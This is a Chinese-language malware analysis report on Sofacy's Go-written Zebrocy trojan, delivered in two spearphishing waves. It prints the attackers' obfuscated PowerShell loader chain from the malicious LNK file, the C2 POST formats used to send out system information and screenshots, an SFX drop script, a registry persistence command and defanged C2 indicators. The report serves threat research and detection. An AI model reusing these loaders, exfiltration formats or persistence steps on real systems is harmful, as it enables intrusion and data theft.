继续Go!Go!Go!Sofacy组织已使用Go语言开发出新的Zebrocy变种

 

我们的研究表明,Sofacy组织仍在继续使用他们的Zebrocy木马实施攻击。无论是在2018年第一季度的攻击活动中,还是10月底和11月初攻击活动中,我们都看到了Sofacy组织对该木马的使用。最近,Zebrocy的开发人员再次使用不同的编程语言——Go语言创建了一个新的Zebrocy变种。需要说明的是,使用不同的编程语言来创建具有类似功能的木马变种对于该组织来说并是什么新鲜事。因为,我们在此前的攻击活动中就已经看到了使用AutoItDelphiVB.NETC#Visual C++等不同编程语言创建的各种Zebrocy变种。虽然,我们还不能完全确定Sofacy组织这样做的目的。但我们有理由相信,该组织之所以会选择使用多种编程语言来创建他们的木马,极有可能是为了增加其木马逃过安全检测的机率。

到目前为止,我们一共观察到了两波旨在传播Go Zebrocy变种的攻击。第一波攻击发生在1011日,攻击媒介是一封以一个LNK快捷方式文件作为其附件的鱼叉式网络钓鱼电子邮件。这个LNK文件被用于运行多个PowerShell脚本,以提取将要安装和执行的payload。但是,由于这些PowerShell脚本存在编码错误,因此它们无法正确安装或执行payload。换句话来说,在本文中讨论的攻击是不可能取得成功的,但其技术细节仍值得探讨,因为这有助于我们掌握Sofacy攻击活动的发展趋势。值得一提的是,其中一个Go Zebrocy样本与此前Sofacy组织在10月中旬到11月中旬进行的Dear Joohn行动联系在了一起。

 

第一波攻击

这起攻击发生在20181011日,攻击媒介是一封鱼叉式网络钓鱼电子邮件,讨论的是美国新制裁对俄罗斯经济的影响。“From(发件人)”字段和正文末尾的签名均包含目标组织工作人员的姓名,而“To(收件人)”字段为空。这使得我们有理由相信,目标个人被包含在了“Bcc(抄送)”字段中。图1展示的是在这起攻击中使用的钓鱼电子邮件。 

1 .Go Zebrocy攻击中使用的钓鱼电子邮件

Payload

恶意文件ПротиводействиеДумыСанкциямСША.docSHA256d77eb89501b0a60322bc69692007b9b7f1b5a85541a2aaf21caf7baf0fe0049e)试图伪装成Word文档,但该文件实际上是一个LNK快捷方式文件。在被打开之后,它会尝试在命令提示符中运行以下命令行:

powershell.exe -nop -w 1 $i853=[TeXt.EnCoDING]::utF8.geTStrInG([conVErT]::frOmbaSE64stRing('JHAxLCRwMj0zNjU5LDY5MjQ3NjQ7JHBhdGhUb0xOSz0nQzUgcmVnaW9uYWwgY29uZmVyZW5jZSBhbmQgdHJhaW5pbmcgd29ya3Nob3Agb24gY29tbXVuaXR5IHBvbGljaW5nKDEpLmRvY3gubG5rJztpZigtbk9UKFRlU3QtcEF0SCAkcGF0aFRvTE5LKSl7JERpckQ9R2VULUNISUxkSVRFTSAtcEF0aCAkZW52OnRlbXAgLWZpTFRlciAkcGF0aFRvTE5LIC1yRWNVclNFO1tpTy5kaVJlY3RvUlldOjpzRVRDVXJyZW50RElyRWN0b1JZKCREaXJELmRJcmVDVE9SWU5BTWUpO30kRmlsZVN0cmVhbWE9bkV3LW9iakVDVCBpby5mSUxlU1RyZUFtICRwYXRoVG9MTkssJ09wZU4nLCdSZUFkJywncmVhRHdSSVRFJzskQXJyYXlNYXM9TkV3LW9iamVjVCBieVRFW10oJHAyKTskRmlsZVN0cmVhbWEuU0VlSygkcDEsW2lvLlNlRUtvUmlHaW5dOjpCRUdpbik7JEZpbGVTdHJlYW1hLnJFQUQoJEFycmF5TWFzLDAsJHAyKTskQXJyYXlNYXM9W0NvbnZlclRdOjpGck9tYmFzRTY0Q0hhckFyUkF5KCRBcnJheU1hcywwLCRBcnJheU1hcy5MZU5HVGgpOyRkdWFjYWp1QT1bdGV4VC5FbkNPZEluR106OlVuaWNvZGUuZ0VUc3RSSW5nKCRBcnJheU1hcyk7aWVYICRkdWFjYWp1QTs='));ieX $i853;

接下来,它会使用一个PowerShell脚本对第二个PowerShell脚本进行base64解码,并执行它。第二个PowerShell脚本解码后的内容如下:

$p1,$p2=3659,6924764;$pathToLNK='C5 regional conference and training workshop on community policing(1).docx.lnk';if(-nOT(TeSt-pAtH $pathToLNK)){$DirD=GeT-CHILdITEM -pAth $env:temp -fiLTer $pathToLNK -rEcUrSE;[iO.diRectoRY]::sETCUrrentDIrEctoRY($DirD.dIreCTORYNAMe);}$FileStreama=nEw-objECT io.fILeSTreAm $pathToLNK,'OpeN','ReAd','reaDwRITE';$ArrayMas=NEw-objecT byTE[]($p2);$FileStreama.SEeK($p1,[io.SeEKoRiGin]::BEGin);$FileStreama.rEAD($ArrayMas,0,$p2);$ArrayMas=[ConverT]::FrOmbasE64CHarArRAy($ArrayMas,0,$ArrayMas.LeNGTh);$duacajuA=[texT.EnCOdInG]::Unicode.gETstRIng($ArrayMas);ieX $duacajuA;

第二个PowerShell脚本脚本会尝试直接从上述LNK文件中提取另一个PowerShell脚本,然后执行它。但由于某种未知的原因,第二个PowerShell脚本包含的是一个错误的LNK文件名——C5 regional conference and training workshop on community policing(1).docx.lnk,而不是上述ПротиводействиеДумыСанкциямСША.doc。由于该LNK文件名与电子邮件附件的文件名不匹配,因此攻击不会取得成功,因为第二个PowerShell脚本将无法提取到将要安装在系统上的payload。我们怀疑,C5 regional conference and training workshop on community policing(1).docx.lnk可能是在早期活动中被使用过的恶意文档,而Zebrocy的开发人员似乎忘了对它进行修改似乎忘了对它进行修改。

如果该脚本包含的是正确的文件名,那么它将使用硬编码偏移量“3659”找到LNK文件中的PowerShell脚本,然后提取并执行它。从LNK文件中提取的最后一个PowerShell脚本包含以下内容(为了便于查看,我们在这里使用“[..snip ..]”替换了一些数据):

$6vlJwyyB = @('C5 regional conference and training workshop on community policing(1).exe','C5 regional conference and training workshop on community policing(1).docx');$TcCd3Fej = "C5 regional conference and training workshop on community policing(1).exe";$Aq3NkyDG = @("TVqQAAMA[..snip..]","UEsDBBQABgAIAA[..snip..]");$ggdDQhlx = "C5 regional conference and training workshop on community policing(1).docx";FOR($I=0;$I -lt $6vLjwYYb.LengTH;$i++){[BYtE[]]$YGktk0Nk = [cOnveRt]::frOmBaSE64StriNg($aq3nkYDg[$I]);[syStEm.IO.fILE]::WrItEaLlbYtES($EnV:pUbLIc+""+$6VLJwYYB[$I],$YGktK0nk);}$qsVmUm76 = $Env:public+""+$tCcd3Fej;$GGdDQhLxPatH = $env:publIC+""+$gGddQHLX;staRT-pROCess -wINDowstylE HIDdeN -FIlepAth $qsVMuM76;StART-ProceSs -FilepaTh $GgDdQHlxpATH;

最后一个PowerShell脚本被用于解码将要写入%PUBLIC%文件夹中的一个可执行文件和一份Word文档,它们的文件名分别为C5 regional conference and training workshop on community policing(1).exeC5 regional conference and training workshop on community policing(1).docx。解码后的Word文档内容(SHA256b6b2f6aae80cba3fa142bd216decc1f6db024a5ab46d9c21cf6e4c1ab0bbe58b)如图2所示,看上去是一份会议议程。该会议于2018618日至20日在塔吉克斯坦杜尚别举行,由安全世界国际组织Saferworld美国和平研究所(United States Institute of PeaceUSIP主办。 

2.Go Zebrocy安装过程中打开的诱饵文档

而解码后的可执行文件便是payloadSHA256fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e),它是使用Go语言编写的,是Zebrocy木马的另一个变种。使用另一种编程语言来创建具有类似功能的木马变种对于Sofacy组织来说很平常,正如我们所看到的那样,该组织此前已经使用AutoItDelphiVB.NETC#Visual C++创建了多个不同的Zebrocy变种。

这个payload与此前的Zebrocy变种之间存在大量的相似之处。与其他Zebrocy变种一样,这个采用Go语言编写的Zebrocy变种也会在受感染系统上进行初始信息收集,并将这些信息传输给C2服务器,以及尝试从C2下载、安装和执行其他payload。此外,Go Zebrocy一些行为方面也与其他变种之间存在一些相似之处,这包括:

使用十六进制ASCII码混淆字符串

使用的卷序列号不包含从VOL命令中获取到的连字符

使用来自出站C2 beacon中的“systeminfo”和“tasklist”的输出

C2 beacon中使用字符串“PrgStart

Go Zebrocy和其他变种之间最明显的相似之处在于使用了一个相同的C2 URL——hxxp://89.37.226[.]148/technet-support/library/online-service-description.php?id_name=,这个URL同样也被Delphi Zebrocy变种样本de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593所使用。

Go Zebrocy试图通过检查其进程的可执行文件名中是否包含“)”字符来逃避自动分析。如果文件名不包含“)”字符,那么它会立即退出,而不执行其功能代码。

另一方面,这个Zebrocy变种使用了HTTP POST请求来与其C2进行交互,而收集的系统信息就包含在HTTP POST请求中。具体来说,这些系统信息包括:

通过“tasklist”命令收集的正在运行的进程。

通过“systeminfo”命令的收集系统信息。

通过WMI命令“wmic logicaldisk get caption,description,drivetype,providername,size”收集的本地磁盘信息。

使用开源Go抓取的桌面屏幕截图。

Go Zebrocy与其C2之间的C2通信具有如下结构:

POST /technet-support/library/online-service-description.php?id_name=[serial number from VOL command with hyphen removed] HTTP/1.1

Host: 89.37.226[.]148

User-Agent: Go-http-client/1.1

Content-Length: 570690

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

attach=PrgStart%3A[运行木马的路径]%0D%0A%5B[当前时间]%5D%0D%0A%0D%0A[来自“wmic logicaldisk get caption,description,drivetype,providername,size命令的结果”]%0D%0D%0A%0D%0D%0A%0D%0A%0D%0A[来自“systeminfo”命令的结果]%0D%0A%0D%0A%0D%0A[来自“tasklist”命令的结果]%0D%0A&support=[转换为十六进制ASCII码的屏幕截图]

 

C2将以十六进制ASCII码编码的payload作为对此HTTP POST请求的响应, payload将被解码并保存为如下文件:

%APPDATA%Identities{83AF1378-986F-1673-091A-02681FA62C3B}w32srv.exe

然后,payload 将使用golang os/exec执行这个新创建的文件,其中涉及到使用“Command”“Run”函数运行以下命令行:

cmd /C %APPDATA%Identities{83AF1378-986F-1673-091A-02681FA62C3B}w32srv.exe

 

第二波攻击

如上所述,我们观察到的第二波旨在传播Go Zebrocy变种的攻击与我们之前讨论的“Dear Joohn行动”存在一定联系。虽然Dear Joohn行动发生在201810月中旬至11月中旬,而用于传播Go Zebrocy变种的恶意文档(SHA256346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0)是在123日创建的,但该恶意文档同样使用了Joohn这个作者名。

Dear Joohn行动一样,该恶意文档也会通过HTTP下载一个远程模板(SHA25607646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305),而该模板同样使用了出现在Dear Joohn行动中的作者名:xxx。在打开该恶意文档之后,可以看到如图3所示的诱饵图片,它旨在诱使收件人点击“Enable Content(启用内容)”,以运行包含在远程模板中的恶意宏。 

3.旨在诱使收件人用户点击“Enable Content(启用内容)按钮的诱饵图片

恶意文档被配置为从hxxps://bit[.]ly/2G8QrgL下载远程模板,如下图所示(这个短网址包含在文档的word/_rels/settings.xml.rels文件中):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="hxxps://bit[.]ly/2G8QrgL" TargetMode="External"/></Relationships>

 

上述hxxps://bit[.]ly/2G8QrgL短网址会重定向到一个托管远程模板hxxp://89.37.226[.]123/Templates/NormalOld.dotmURL。值得注意的是,此前出现在Dear Joohn行动中的恶意文档并没有使用短网址来下载远程模板,这表明在此行动中使用的技术已经发生了改变。幸运的是,这个短网址为我们提供了一些有关访问者及其所处国家的统计数据。如图4所示,这个短网址是在2018123日下午12:56创建的,截止到2018125日,一共被访问了75次,其中大部分来自土耳其。

4.短网址的访问统计数据(2018125日)

通过这个短网址下载的远程模板包含一个类似于出现在Dear Joohn行动中的恶意宏。不同之处在于,它被用于从远程模板(SHA256c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506)中提取一个ZIP压缩文件 ,并将其保存为driver_pack.zip。这个ZIP压缩文件包含一个名为“driver_pack.exe”的可执行文件(SHA256b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76),而它实际上是一个WinRAR SFX可执行文件,其中包含另一个名为“comsvc.exe”的可执行文件。这个WinRAR SFX存档会使用以下SFX脚本来提取comsvc​​.exe payload

Path=%APPDATA%AppHistory

Setup=comsvc.exe

Silent=1

Overwrite=2

 

上述comsvc​​.exe可执行文件(SHA25693680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa)实际上是一个经过UPX加壳的Go Zebrocy样本(SHA256: 15a866c3c18046022a810aa97eaf2e20f942b8293b9cb6b4d5fb7746242c25b7)。该样本被用作一个downloader,负责从C2下载并执行辅助payload

与其他Zebrocy变种一样,这个Go Zebrocy样本会检查正在运行的进程的路径是否包含“comsvc”字符串,以确保payload最终会被保存为comsvc​​.exe。如果Go Zebrocy样本不是作为comsvc​​.exe运行的,那么它会向google[.]com发送一个HTTP POST请求,而不是像其他Zebrocy变种那样会退出。我们认为,这是另一种用来逃过安全检测的手段。图5展示的是Go Zebrocy样本发送给google[.]comHTTP请求。

5.Go Zebrocy发送给google[.]comHTTP POST请求

对图5中的HTTP POST请求进行解码,我们可以看到发送的数据为<#0>0<##0><#1>1<##1><#2>1<##2>,并不包含任何收集的系统信息。在该样本作为comsvc.exe运行的情况,它将通过以下URLC2服务器进行通信:

hxxp://89.37.226[.]123/advance/portable_version/service.php

它能够收集硬盘卷序列号,抓取系统的屏幕截图(T1113),并使用在Github上公开可用的一个名为“psutil”的库来收集一些特定的系统信息。具体来说,它将通过调用psutil库中的Host Info函数来收集系统信息(操作系统、版本等)、系统启动时间、系统正常运行时间、系统的GUID以及正在运行的进程的ID。随后,它将通过向上述URL 发送HTTP POST请求来将收集到的信息传输给C2,数据结构如下所示:

project=%3C%230%3E4D291F48%3C%23%230%3E%3C%231%3E[硬盘卷序列号]%3C%23%230%3E%3C%231%3E[收集的系统信息]%3C%23%231%3E%3C%232%3E[JPEG格式的屏幕截图]%3C%23%232%3E

HTTP POST请求中的十六进制字符被用作分隔符,如下所示:

<#0>[硬盘卷序列号]<##0><#1>[收集的系统信息]<##1><#2>[ JPEG格式的屏幕截图]<##2>

C2将使用十六进制编码的payload作为对上述请求的响应,而Go Zebrocy会将它保存到系统并执行。另外,Go Zebrocy还会将下载的辅助payload写入以下文件:

%LOCALAPPDATA%MicrosoftFeeds{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~wcncsvc.exe

在执行这个文件之前,Go Zebrocy将首先创建一个开机自启动注册表项,以便在每次用户使用以下命令行登录系统时辅助payload都能自动运行:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v Media Center Extender Service

C2下载的辅助payload实际上是另一个使用Go语言编写的木马(SHA256: 50d610226aa646dd643fab350b482196918305aaa86f9dbd356c78a19204cc),只是攻击者使用UPX 对它进行了加壳(SHA256: ee9218a451c455fbca45460c0a27e1881833bd2a05325ed60f30bd4d14bb2fdc)。这个辅助payload是另一个使用HTTPS而不是HTTP进行C2通信的downloader。它使用如下URL作为它的 C2,并与其进行通信。

hxxps://190.97.167[.]186/pkg/image/do.php

通过HTTPS发送的HTTP POST请求如下图所示,它包含硬盘卷序列号的前四个字节和主机名的前四个字符,如图6所示。

6.由辅助payload发送的HTTP POST请求

总结

Sofacy组织仍在继续使用Zebrocy木马变种来实施攻击,而Zebrocy的开发人员也仍在继续使用不同的编码语言创建该木马的新变种,比如Go语言。Zebrocy的开发人员在LNK快捷方式文件上似乎犯了一些严重的错误,导致攻击最终以失败告终。不过,无论攻击的有效性如何,对技术细节的分析仍然有助于我们预测该组织可能会在未来的攻击中使用的payload和基础设施。可以肯定的是,Sofacy组织必然会在不同的攻击活动中使用这些新的Zebrocy变种。因为,就拿Go Zebrocy变种来说,它不仅能够通过LNK快捷方式文件进行传播,而且还能够通过Word文档进行传播。

 

IOC

Go Zebrocy变种:

fcf03bf5ef4babce577dd13483391344e957fd2c855624c9f0573880b8cba62e

93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa

Go Zebrocy C2

hxxp://89.37.226[.]148/technet-support/library/online-service-description.php

89.37.226[.]148

hxxp://89.37.226[.]123/advance/portable_version/service.php

89.37.226[.]123

相关的Zebrocy样本:

de31a8a9110b32a82843e9216a3378cc1c5ea972a6bb2261ec111efb82f31e71

daf990f0b6564c3ac87fa87e325e6ffc907ed43ae65a3f088a42b5b120612593

308b41db9e3b332bb5b3e5ec633907761eac5082029b8b32e6b063b8c76b7365

f93b89a707c647ba492efe4515bb69a627ce14f35926ee4147e13d2e030ab55b

1ff4e56419ad1814726ca143fc256cca4c8588605536c48dd79cfed12cb0763a

Dear Joohn行动相关的散列值:

346e5dc097b8653842b5b4acfad21e223b7fca976fb82b8c10d9fa4f3747dfa0 – 恶意文档

07646dc0a8c8946bb78be9b96147d4327705c1a3c3bd3fbcedab32c43d914305 – 远程模板

c817aab6e8dcaeaeae817a85ba209c0ca690be58b91e6cff0e3f0660336f9506 –远程模板中的ZIP文件

b48b3d46ebfa6af8a25c007f77e6ed3c32fe4c6478311b8b0c7d6f4f8c82de76 –ZIP文件中的WinRAR SFX文件

93680d34d798a22c618c96dec724517829ec3aad71215213a2dcb1eb190ff9fa – Go Zebrocy 样本

50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc – 辅助payload

Dear Joohn行动相关的URL

hxxps://bit[.]ly/2G8QrgL – 远程模板短网址

hxxp://89.37.226[.]123/Templates/NormalOld.dotm – 远程模板URL

hxxp://89.37.226[.]123/advance/portable_version/service.php – Go Zebrocy HTTP C2

hxxps://190.97.167[.]186/pkg/image/do.php – 辅助payload HTTPS C2

辅助payload散列值:

50d610226aa646dd643fab350b48219626918305aaa86f9dbd356c78a19204cc

辅助payload C2

hxxps://190.97.167[.]186/pkg/image/do.php

190.97.167[.]186

(完)